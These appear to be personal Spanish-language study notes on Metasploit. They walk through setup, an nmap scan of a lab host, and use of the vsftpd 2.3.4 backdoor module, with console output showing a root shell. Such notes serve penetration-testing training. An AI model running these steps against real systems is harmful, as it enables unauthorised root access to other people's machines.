COMANDOS METASPLOIT

1.# apt update 2. apt upgrade 3. service postgresql status //ver si está cargada BD 4. msfdb // iniciar la BD 5. msfdb init // 6. msfdb status // ver si esta activa 7. msfconsole // 8. ls 9. help 10. search ms17-010 // 11. use 5 // seleccionamos un modulo. Quede marzo 31 12. show info // información de ese modulo 13. show options // muestra configuración r maquina victima I maquina de escucha 14. set payload // si quiero cambiar el payload 15. back // me voy a el inicio 16. use // nos muestra todas las opciones 17. use exploit // muestra todos los exploit 18. use exploit/windows/ // 19. use auxiliary/ // son scanner

20. use auxiliary/scanner/ //

- 21. use auxiliary/scanner/smb/ //permite ver usuarios,login, etc
- 22. exit
- 23. tmux
- 24. Abrir nueva pestaña de metasploit y terminal
- 25. msfconsole
- 26. otra ventana hacer nmap 10.0.0.14 -p21 -sC -sV //para ejecutar ataque

// pto 21 ftp

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 07:56 EDT
Nmap scan report for 10.0.0.14
Host is up (0.00023s latency).
       STATE SERVICE VERSION
21/tcp open ftp
                     vsftpd 2.3.4
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
  ftp-syst:
    STAT:
  FTP server status:
       Connected to 10.0.0.12
       Logged in as ftp
       TYPE: ASCII
       No session bandwidth limit
       Session timeout in seconds is 300
       Control connection is plain text
       Data connections will be plain text
       vsFTPd 2.3.4 - secure, fast, stable
    Address: 00:0C:29:98:E8:64 (VMware)
```

- 27. voy ventana anterior
- 28. msf5 > search vsftpd 2.3.4
- 29. use 3 // esta el exploit a utilizar
- 30. options

- 31. set rhosts 10.0.0.14
- 32. podemos validar con nuevamente con options que ya RHOSTS tiene la ip que entramos.
- 33. run // para ejecutar el exploit // muestra como entramos , con root, si es una puerta trasera, etc

```
Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

Id Name
-- — O Automatic

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.0.0.14:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.0.14:21 - USER: 331 Please specify the password.
[+] 10.0.0.14:21 - Backdoor service has been spawned, handling...
[+] 10.0.0.14:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.

[*] Command shell session 1 opened (0.0.0.0:0 → 10.0.0.14:6200) at 2020-09-29 07:59:17 -0400
```

35. Is // ya estoy dentro de la máquina y doy comandos de Linux

36.